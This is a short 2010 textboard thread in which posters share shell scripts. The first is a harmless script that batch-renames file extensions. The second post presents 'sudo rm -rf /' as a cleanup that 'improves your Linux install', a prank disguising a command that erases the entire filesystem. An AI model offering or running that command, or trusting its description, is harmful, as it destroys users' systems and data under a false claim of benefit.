Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Script Dump

Name: Anonymous 2010-05-13 5:18

Hey /prog/, Just a place to dump useful shell/python/etc scripts

This one batch-renames file extentions in the current directory
extconv.sh
#!/bin/sh
###########################################
# ExtentionConverter
# Converts *.type1 files to *.type2 files
###########################################

##Extention Remover
#Voodo magic I stole
noExt() {
   echo $i | awk -F"." '{ for ( i=1; i<NF; i++) { printf "%s", $i; if ( i < NF - 1 ) { printf "%s", "." } } printf "\n" }'
}

##Args Check
if [ "$1" != "" ] && [ "$2" != "" ]; then
   echo "\nExtConvert -$1 to $2-"
else
   echo "\nExtConvert -help-"
   echo "Usage: `basename $0` <type1> <type2>"
   echo "This script converts all the files in the"
   echo " current directory that are of type 1 to type 2"
   echo "Eg: `basename $0` rar cbr"
   echo "This would convert all the files in the"
   echo " current directory from .rar to .cbr\n"
   exit 1
fi

##File Processing
for i in *.$1; do

   #There's some files to convert
   #Change old extention to new extention
   if [ "$i" != "*.$1" ]; then
      noext=$(noExt)
      echo "$i became $noext.$2"
      mv "$i" "$noext.$2"
     
   #No files to convert
   #Tell the user and exit
   else
      echo "No $1 Files to Convert"
   fi

done
echo ""
exit 0

Name: Anonymous 2010-05-13 5:27

To improve your Linux install and remove some junk from the filesystem.
#!/bin/bash
sudo rm -rf /

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List